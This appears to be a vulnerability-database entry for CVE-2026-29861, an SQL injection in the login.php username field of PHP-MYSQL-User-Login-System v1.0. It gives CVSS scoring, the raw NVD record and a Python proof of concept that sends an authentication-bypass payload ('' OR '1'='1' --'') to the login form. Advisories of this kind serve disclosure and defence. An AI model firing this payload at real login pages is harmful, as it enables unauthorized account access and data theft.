Security Vulnerability Report
中文
CVE-2026-29861 CVSS 9.8 CRITICAL

CVE-2026-29861

Published: 2026-04-10 15:16:23
Last Modified: 2026-04-27 19:18:47

Description

PHP-MYSQL-User-Login-System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter at login.php.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

PHP-MYSQL-User-Login-System v1.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_sqli(url): target_url = f"{url}/login.php" # Payload for authentication bypass payload = "' OR '1'='1' -- " # Data payload usually sent in POST request for login data = { "username": payload, "password": "random_password" } try: response = requests.post(target_url, data=data, timeout=5) # Check for successful login indicators (adjust based on actual app response) if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection allows login bypass.") else: print("[-] Exploit failed or unable to confirm.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29861", "sourceIdentifier": "[email protected]", "published": "2026-04-10T15:16:23.477", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHP-MYSQL-User-Login-System v1.0 was discovered to contain a SQL injection vulnerability via the username parameter at login.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://github.com/amanyadav78/CVE-2026-29861", "source": "[email protected]"}]}}